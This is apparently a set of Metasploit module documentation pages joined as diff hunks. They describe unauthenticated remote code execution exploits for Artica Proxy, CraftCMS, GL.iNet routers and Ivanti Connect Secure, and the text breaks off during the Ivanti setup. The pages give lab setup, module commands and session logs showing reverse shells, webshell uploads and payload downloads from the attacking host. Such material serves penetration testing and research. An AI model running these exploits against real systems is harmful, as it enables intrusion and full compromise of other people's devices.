## Vulnerable Application
A Command Injection vulnerability in Artica Proxy appliance version `4.50` and `4.40`
allows remote attackers to run arbitrary commands via unauthenticated HTTP request.
The Artica Proxy administrative web application will de-serialize arbitrary PHP objects
supplied by unauthenticated users and subsequently enable code execution as the `www-data` user.
This module has been tested with:
* Artica Proxy Appliance 4.50 running in VirtualBox 7.0.14 r161095 (Qt5.15.2)
* Artica Proxy Appliance 4.40 Service Pack 118 running in VirtualBox 7.0.14 r161095 (Qt5.15.2)
## Installation steps to install Artica Proxy appliance
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download the Artica Proxy iso image from [here](https://sourceforge.net/projects/artica-squid/files/ISO/).
* Install the iso image in your virtualization engine.
* When installed, configure the VM appliance to your needs using the menu options.
* Boot up the VM and should be able to access the Artica appliance.
* Either thru the console, `ssh` on port `22` or via the `webui` via `https://your_articaproxy_ip:9000`.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http//artica_proxy_unauth_rce_cve_2024_2054`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set webshell cuckoo`
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
## Options
### WEBSHELL
You can use this option to set the filename without extension of the webshell.
This is handy if you want to test the webshell upload and execution with different file names.
to bypass any security settings on the Web and PHP server.
### COMMAND
This option provides the user to choose the PHP underlying shell command function to be used for execution.
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
This option is only available when the target selected is either Unix Command or Linux Dropper.
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
## Scenarios
```msf
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info
Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054
Platform: PHP, Unix, Linux
Arch: php, cmd, x64, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2024-03-05
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Jaggar Henry of KoreLogic Inc.
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP
1 Unix Command
2 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT 9000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The Artica Proxy endpoint URL
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL no Set webshell name without extension. Name will be randomly generated if left un
set.
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t
he local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 1981 yes The local port to listen on.
When TARGET is not 0:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
Payload information:
Description:
A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows
remote attackers to run arbitrary commands via unauthenticated HTTP request.
The Artica Proxy administrative web application will deserialize arbitrary PHP objects
supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2024-2054
https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054
https://packetstormsecurity.com/files/177482
View the full module info with the info -d command.
```
### Target 0 - PHP native `php/meterpreter/reverse_tcp` session
```msf
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo
webshell => cuckoo
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0
target => 0
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4
rhosts => 192.168.201.4
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:9000 can be exploited.
[+] The target is vulnerable. Artica version: 4.50
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.4
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
[*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000
meterpreter > sysinfo
Computer : artica-applianc
OS : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
### Target 1 - Unix Command `cmd/unix/reverse_bash` session
```msf
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 1
target => 1
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:9000 can be exploited.
[+] The target is vulnerable. Artica version: 4.50
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
[*] Command shell session 16 opened (192.168.201.8:4444 -> 192.168.201.4:46286) at 2024-03-15 17:48:40 +0000
uname -a
Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
```msf
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 2
target => 2
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:9000 can be exploited.
[+] The target is vulnerable. Artica version: 4.50
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:1981/U835crbue3yBo
[*] Client 192.168.201.4 (Wget/1.20.1 (linux-gnu)) requested /U835crbue3yBo
[*] Sending payload to 192.168.201.4 (Wget/1.20.1 (linux-gnu))
[*] Sending stage (3045380 bytes) to 192.168.201.4
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
[*] Meterpreter session 17 opened (192.168.201.8:4444 -> 192.168.201.4:35246) at 2024-03-15 17:50:04 +0000
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : artica-applianc.domain.tld
OS : Debian 10.13 (Linux 4.19.0-24-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
## Limitations
No limitations.
@@ -0,0 +1,231 @@
## Vulnerable Application
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system.
CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely,
potentially compromising the security and integrity of the application.
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary
PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`.
Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`,
a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of
image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious
PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious
PHP code and gaining access to the system.
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating
system as the user that the web services are running as (typically `www-data`).
## Installation
To test this module, you will need a vulnerable CraftCMS application.
This module has been tested on:
- [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment.
### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV
* Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution.
* Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/).
* Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/).
* NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and
* set it to `4.4.14` or lower.
* Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version.
* See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions).
* Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site)
* To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine.
* You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts).
You are now ready to test the module.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892`
- [x] `set rhosts <ip-target>`
- [x] `set rport 443`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>`
- [x] `exploit`
you should get a `shell` or `Meterpreter`
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info
Name: Craft CMS unauthenticated Remote Code Execution (RCE)
Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
Platform: Unix, Linux, PHP
Arch: cmd, php, x64, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2023-09-13
Provided by:
chybeta
h00die-gr3y <h00die.gr3y@gmail.com>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP
1 Unix Command
2 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Craft CMS base url
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset
.
When TARGET is not 0:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.
0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability
allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
of the application.
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class
which allows to run arbitary PHP code by escalating the object creation calling some methods available in
`\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
facilitates the reading of images, performance of image processing tasks, and writing of results back
to the filesystem. This can be leveraged to create a dummy image containing mailcious PHP code using the
Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
malicious PHP code and gaining access to the system.
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
access to the underlying operating system as the user that the web services are running as (typically www-data).
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-41892
https://blog.calif.io/p/craftcms-rce
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
https://github.com/advisories/GHSA-4w8r-3xrw-v25g
https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892
View the full module info with the info -d command.
```
## Options
### WEBSHELL
You can use this option to set the filename of the webshell with extension `.php`, otherwise the name will be randomly generated.
### COMMAND
This option provides the user to choose the PHP underlying shell command function to be used for execution.
The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`.
This option is only available when the target selected is either Unix Command or Linux Dropper.
For the native PHP target, by default the `eval()` function will be used for native PHP code execution.
## Scenarios
### CraftCMS 4.4.14 on MacOS PHP - php/meterpreter/reverse_tcp
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.25
[+] Deleted /var/www/html/web/CDfbvAnrZMH.php
[+] Deleted /tmp/php5M63PK
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:51044) at 2023-12-17 12:31:55 +0000
meterpreter > sysinfo
Computer : craftcms-vuln-web
OS : Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
### CraftCMS 4.4.14 on MacOS Unix Command - cmd/unix/reverse_bash
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 1
target => 1
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash
[+] Deleted /var/www/html/web/XGCuZFdoia.php
[+] Deleted /tmp/phpakTlmu
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:51101) at 2023-12-17 12:34:34 +0000
uname -a
Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 GNU/Linux
id
uid=501(www-data) gid=20(dialout) groups=20(dialout)```
### CraftCMS 4.4.14 on MacOS Linux Dropper - linux/x64/meterpreter/reverse_tcp
```shell
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > set target 2
target => 2
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/bzzA52uoIqWP
[*] Client 192.168.201.25 (Wget/1.21) requested /bzzA52uoIqWP
[*] Sending payload to 192.168.201.25 (Wget/1.21)
[*] Sending stage (3045380 bytes) to 192.168.201.25
[+] Deleted /var/www/html/web/sFQEhvKKcl.php
[+] Deleted /tmp/phpeQPKpy
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:51122) at 2023-12-17 12:35:54 +0000
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.16.2
OS : Debian 11.8 (Linux 6.4.16-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
```
## Limitations
Part of the exploit is the MSL script creation triggered by the Imagick plugin module. These files are created in the directory
set by the `upload_tmp_dir` setting in the `php.ini` file (default `/tmp`). These files are automatically cleaned, but in case of
any failure cleaning these files, do clean them manually otherwise the next exploit session will fail using an outdated MSL file.
These files start with `php` and you can list them with the command `ls php*`.
@@ -0,0 +1,319 @@
## Vulnerable Application
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute
arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log` interface in the `logread` module.
This exploit requires post-authentication using the `AdminToken` cookie / session ID (`SID`), typically stolen by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a `Lua`
string pattern matching and SQL injection vulnerability.
The `AdminToken` cookie / `SID` can be retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- X3000: v4.0.0 - v4.4.2;
- XE3000: v4.0.0 - v4.4.3;
- SFT1200: v4.3.6;
- and potentially others (just try ;-)
## Installation
Ideally, to test this module, you would need a vulnerable GL.iNet device.
However, by downloading the firmware and install and use `FirmAE` to emulate the router,
we can simulate the router and test the vulnerable endpoint.
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
* GL.iNet Router model AR300M with firmware v4.3.7
* GL.iNet Router model AR300M16 with firmware v4.3.7
* GL.iNet Router model MT300N-V2 with firmware v4.3.7
* GL.iNet Router model MT1300 with firmware v4.3.7
### Installation steps to emulate the router firmware with FirmAE
* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE).
* To emulate the specific firmware that comes with the GL.iNet devices, `binwalk` might need to be able to handle a sasquatch filesystem.
* Find the additional installation/compilation steps [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689).
* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware.
* Download the vulnerable firmware from GL.iNet [here](https://dl.gl-inet.com/?model=ar300m16).
* We will pick `openwrt-ar300m16-4.3.7-0913-1694589994.bin` for the demonstration.
* Start emulation.
* First run `./init.sh` to initialize and start the Postgress database.
* Start a debug session `./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin`
* This will take a while, but in the end you should see the following...
```shell
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!
[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:392 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:427 errors:0 dropped:0 overruns:0 frame:0
TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB)
eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
```
* You should now be able to `ping` the network address 192.168.8.1 from your host.
* Run a `nmap` command to check the services (HTTP TCP port 80).
* NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
* You can change this with: `ip a del 192.168.1.2/24 dev tap91_0` and `ip a add 192.168.8.2/24 dev tap91_0`.
```shell
# ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link>
ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet)
RX packets 39 bytes 4692 (4.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 50 bytes 4044 (3.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```
```shell
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
443/tcp open https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
```
You are now ready to test the module using the emulated router hardware on IP address `192.168.8.1`.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/glinet_unauth_rce_cve_2023_50445`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Unix Command, 1=Linux Dropper>`
- [x] `exploit`
You should get a `shell` or `Meterpreter`.
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info
Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
Platform: Unix, Linux
Arch: cmd, mipsle, mipsbe, armle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-12-10
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
Unknown
DZONERZY
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (UDP)
SID no Session ID
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
n all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
interface in the `logread` module.
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
retrieved without knowing a valid username and password.
The following GL.iNet network products are vulnerable:
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
- MT6000: v4.5.0 - v4.5.3;
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
- E750/E750V2, MV1000: v4.3.8;
- X3000: v4.0.0 - v4.4.2;
- XE3000: v4.0.0 - v4.4.3;
- SFT1200: v4.3.6;
- and potentially others (just try ;-)
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
when using the Linux Dropper target.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-50445
https://nvd.nist.gov/vuln/detail/CVE-2023-50919
https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md
View the full module info with the info -d command.
```
## Options
### SID
This is the SessionID (`SID`) which you need for authentication.
The module will exploit and grab the `SID` autmatically, but you can also provide it manually by using this option.
## Scenarios
### FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000
pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit
```
### FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
```shell
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.8.1
OS : (Linux 4.1.17+)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter >
```
## Limitations
Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads when using the Linux Dropper target.
@@ -0,0 +1,174 @@
## Vulnerable Application
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
also vulnerable.
## Testing
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
below steps are for HyperV, but it should be very similar to install on VMWare.
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
* Boot the VM and follow the console instructions to install the product.
* After installation completes, you will have created an admin account and password. You can log into the admin
